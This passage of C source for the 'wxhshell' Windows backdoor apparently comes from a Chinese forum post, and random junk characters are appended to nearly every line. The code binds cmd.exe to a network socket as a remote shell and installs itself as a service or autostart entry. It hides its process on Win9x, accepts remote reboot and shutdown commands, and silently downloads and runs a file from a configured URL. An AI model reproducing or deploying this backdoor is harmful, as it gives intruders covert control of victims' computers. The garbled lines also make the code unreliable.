  } u eV,p?Wo  
  else { 5Z(#)sa0Og  
L QA6iZBP  
    switch(cmd[0]) { AWz|HF#-  
  yVbyw(gS  
  // 帮助 38gEto#q  
  case '?': { nSeb?|$D6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tz`T#9  
    break; jin XK  
  } .+dego:  
  // 安装 =z +iI;  
  case 'i': { Q@? {|7:  
    if(Install()) k2ZMDU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2, r{zJ8  
    else vy1N, 8a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R#Hz%/:|A  
    break; T{mIk p<  
    } Cw]bhaG g  
  // 卸载 ThJ`-Ro  
  case 'r': { ^<QF* !  
    if(Uninstall()) Q DJe:\n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .[>UkM0  
    else >'2=3L^Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  Ts 1  
    break; QeipfK+me  
    } 8VR! Y0`e  
  // 显示 wxhshell 所在路径 hR%2[lBn!]  
  case 'p': { QN OA66  
    char svExeFile[MAX_PATH]; K{[N.dX(  
    strcpy(svExeFile,"\n\r"); Q804_F F#  
      strcat(svExeFile,ExeFile); !:9s>0';N  
        send(wsh,svExeFile,strlen(svExeFile),0); Q[UYNQ0w  
    break; 8PwPI%Pb  
    } 2)47$eu  
  // 重启 |n+ ` t?L^  
  case 'b': { ~ U`|+ 5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'v'=t<wgl  
    if(Boot(REBOOT)) ,NoWAmv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iE=:}"pI"  
    else { #wP$LKk  
    closesocket(wsh); Q'K[?W|C  
    ExitThread(0); (ixlFGvEq  
    } TM^.y Y  
    break; +IPMI#n  
    } >`u/#mrd  
  // 关机 g,d'&r"JWt  
  case 'd': { b{hdEb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i@hW" [A  
    if(Boot(SHUTDOWN)) C{P:1ELYXH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W"ldQ  
    else { $>!tpJw  
    closesocket(wsh); \R (Yf!>  
    ExitThread(0); vN3uLz'<  
    } 25/OV"Z  
    break; ?emYLw  
    } Y5$VWUrB  
  // 获取shell  H= (Zx  
  case 's': { |FH|l#bu>  
    CmdShell(wsh); A_JNj8<6r  
    closesocket(wsh); && E)  
    ExitThread(0); ,1|0]:  
    break; 8/`ij?gn  
  } <) ltvo(  
  // 退出 T~b6Zu6  
  case 'x': { #CTHCwYo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /eNDv(g)M  
    CloseIt(wsh); qASV\ <n  
    break; mVdg0  
    } p|o?nI  
  // 离开 L#9g ~>~  
  case 'q': { Vf] ;hm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cSWn4-B@l  
    closesocket(wsh); LP:F'Q:<  
    WSACleanup(); YB3?Ftgw  
    exit(1); _omz74   
    break; Ul%D}(,  
        } '(!U5j  
  } U((mOm6  
  } I2^ Eo5'  
 @bO/5"X,  
  // 提示信息 Y!w {,\3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^.~m4t`U  
} ;P!x/Ct  
  } r>3y87  
]gG&X3jaKq  
  return; (H-}z`sy/@  
} ~e#QAaXD#5  
Ki(  
// shell模块句柄 (YKkJ  
int CmdShell(SOCKET sock) U<jAZU[L  
{ Gf y9?sa  
STARTUPINFO si; c},wW@SF2W  
ZeroMemory(&si,sizeof(si)); 6 P U]I+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m.2=,,r<Fq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %Tm8sQ)1  
PROCESS_INFORMATION ProcessInfo; t 'im\_$F  
char cmdline[]="cmd"; kH}HFl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :to1%6  
  return 0; :Wl`8p4]  
} \+Pk"M  
n>aH7  
// 自身启动模式 68, (+vkB  
int StartFromService(void) gO,2:,  
{ a?P$8NLr  
typedef struct j=5hW.fI  
{ r"\g6<RP  
  DWORD ExitStatus; {u{8QKeC  
  DWORD PebBaseAddress; jz"-E  
  DWORD AffinityMask; YMD&U   
  DWORD BasePriority; .:V4>  
  ULONG UniqueProcessId; PWbi`qF)r  
  ULONG InheritedFromUniqueProcessId; odNHyJS0  
}   PROCESS_BASIC_INFORMATION; c3q @]|aI  
3?:?dy(3z  
PROCNTQSIP NtQueryInformationProcess; <`WtP+`  
)h,-zAnZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j^qI~|#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ".:]? Lvt  
n+%tu"e  
  HANDLE             hProcess; yi@mf$A|  
  PROCESS_BASIC_INFORMATION pbi; Kb,#Ot  
G0&'B6I>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Zq\Vq:MX  
  if(NULL == hInst ) return 0; Q3|I.I e  
p4M7BK:nf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0D:eP``  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L qdz qq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WuUT>om H  
hsZ}FLStJ  
  if (!NtQueryInformationProcess) return 0; qS}pv  
)3A%Un#B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6Z7J<0  
  if(!hProcess) return 0; V H2/  
=]<JkWSk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L$4nbOu\~  
\bzT=^Z;2  
  CloseHandle(hProcess); }Asp=<kCc  
cu#s}* Ip  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ye"#tCOEG  
if(hProcess==NULL) return 0; 5x1_rjP$|  
Aa`'g0wmc  
HMODULE hMod; JTI 'W  
char procName[255]; 19# A7  
unsigned long cbNeeded; XbMAcgS  
8@J5tFJ&%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5_~QS  
rtY4 B~_  
  CloseHandle(hProcess); ]/y69ou  
:MbD=sX  
if(strstr(procName,"services")) return 1; // 以服务启动 QB|D_?]  
rN5;W  
  return 0; // 注册表启动 JwM Fu5@  
} >$dkA\&p  
k:k!4   
// 主模块 BLQD=?Q  
int StartWxhshell(LPSTR lpCmdLine) h(H b+7g  
{ %2t#>}If!  
  SOCKET wsl; 2i_X{!0}  
BOOL val=TRUE; vhj^R5=  
  int port=0; F\( 7B#  
  struct sockaddr_in door; Ad]oM]  
k}r)I.Lp  
  if(wscfg.ws_autoins) Install(); 9HJA:k*k|  
8w]>SEGFs  
port=atoi(lpCmdLine); g{%2*{;i  
DA -W =Cc  
if(port<=0) port=wscfg.ws_port; O| zLD  
/aHx'TG  
  WSADATA data; h&$,mbEoI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wc7F45l4  
*zn=l+c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <=7N2t)s4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K`% I!Br  
  door.sin_family = AF_INET; @!zT+W&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _mSQ>BBRl  
  door.sin_port = htons(port); Yiy|^j  
sg!* %*XQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LJII7<k  
closesocket(wsl); ~A =?_5kJ  
return 1; SP |R4*KY  
} wM#BQe3t#  
X=d;WT4,,  
  if(listen(wsl,2) == INVALID_SOCKET) { <<:a >)6\  
closesocket(wsl); #ZS8}X*S  
return 1; TSCc=c  
} *Ul L\  
  Wxhshell(wsl); VG+WVk  
  WSACleanup(); >W[#-jA_Z  
sB>ZN3ptH^  
return 0; #v QyECf  
?g~g GQV  
} Z6XP..  
^&-H"jF  
// 以NT服务方式启动 ZFsJeF'"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q0cr^24/  
{ u]%>=N(^2  
DWORD   status = 0; 'ffOFIz|=I  
  DWORD   specificError = 0xfffffff; |L"!^Y#=D  
byUz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [6Nw)r(a(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z LHE;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G B &+EZ  
  serviceStatus.dwWin32ExitCode     = 0; "t\gkJyK  
  serviceStatus.dwServiceSpecificExitCode = 0; QC\][I>  
  serviceStatus.dwCheckPoint       = 0; zkrcsc\Z~0  
  serviceStatus.dwWaitHint       = 0; E?+MM0  
Q]]5\C.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I N'a5&..  
  if (hServiceStatusHandle==0) return; J}vxK H#=  
=P.m5e<  
status = GetLastError(); \dIQhF%%2  
  if (status!=NO_ERROR) r$Z_Kwe.|&  
{ _^)<d$R<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H!NyM}jsr  
    serviceStatus.dwCheckPoint       = 0; E-_Q3^  
    serviceStatus.dwWaitHint       = 0; /kY|PY  
    serviceStatus.dwWin32ExitCode     = status; @^';[P!  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5V{zdS=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /Xd s+V^Z  
    return; `/z6 Q"  
  } <_tkd3t#W  
7~V,=WEe  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CrIt h/Z  
  serviceStatus.dwCheckPoint       = 0; 'l}T_7g  
  serviceStatus.dwWaitHint       = 0; ~<, QxFG5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !7O!)WJ  
} """gV)Y  
utvZ<zz`  
// 处理NT服务事件,比如:启动、停止 4mY(*2:HC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1L=6Z2*fB4  
{ G#pRBA^  
switch(fdwControl) u{o!#_o64  
{ S^Z[w|1  
case SERVICE_CONTROL_STOP: 0` {6~p  
  serviceStatus.dwWin32ExitCode = 0; F9Ag687w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9w=GB?/  
  serviceStatus.dwCheckPoint   = 0; -&ic%0|f  
  serviceStatus.dwWaitHint     = 0; rK\)  
  { URodvyD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t TAql n|  
  } ! Bv"S0  
  return; WD^!G;}  
case SERVICE_CONTROL_PAUSE: 1.Ximom  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8SGFzb! h  
  break; WYb\vm =r  
case SERVICE_CONTROL_CONTINUE: v{}i`|~J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZO2$Aan  
  break; aJC,  
case SERVICE_CONTROL_INTERROGATE: +hIStA  
  break; }!i#1uHUH:  
}; w< hw>e^.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KKd S h1  
} Qw{LD+r(  
bnz2\C9^  
// 标准应用程序主函数 ]S6`",+)<f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dT%$"sj5  
{ -];/*nl  
&_^t$To  
// 获取操作系统版本 W(oJ{R&m{  
OsIsNt=GetOsVer(); ?Sq?f?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HD(4Ms  
3+_ .I{  
  // 从命令行安装 cGhnI&  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,{HxX0  
f;C*J1y  
  // 下载执行文件 p`)GO.pz  
if(wscfg.ws_downexe) { =7JvS~s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s0 ZF+6f  
  WinExec(wscfg.ws_filenam,SW_HIDE); J2$L[d^  
} +P?!yH,n  
zqDIwfW  
if(!OsIsNt) { gNdEPaaFI  
// 如果时win9x,隐藏进程并且设置为注册表启动 2FxrMCC  
HideProc(); Gk9Y{  
StartWxhshell(lpCmdLine); tSVN}~1\  
} }dl[~iKW  
else |D %m>M6  
  if(StartFromService()) +0016UgS#  
  // 以服务方式启动 NW'rqgG  
  StartServiceCtrlDispatcher(DispatchTable); Q2c|sK8  
else W)dQ yZ>J  
  // 普通方式启动 ad "yo=%1  
  StartWxhshell(lpCmdLine); )Jx+R ;Z  
)T1U!n?^x  
return 0; Q`"gKBN1  
}
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只看该作者 1 发表于: 2006-10-10
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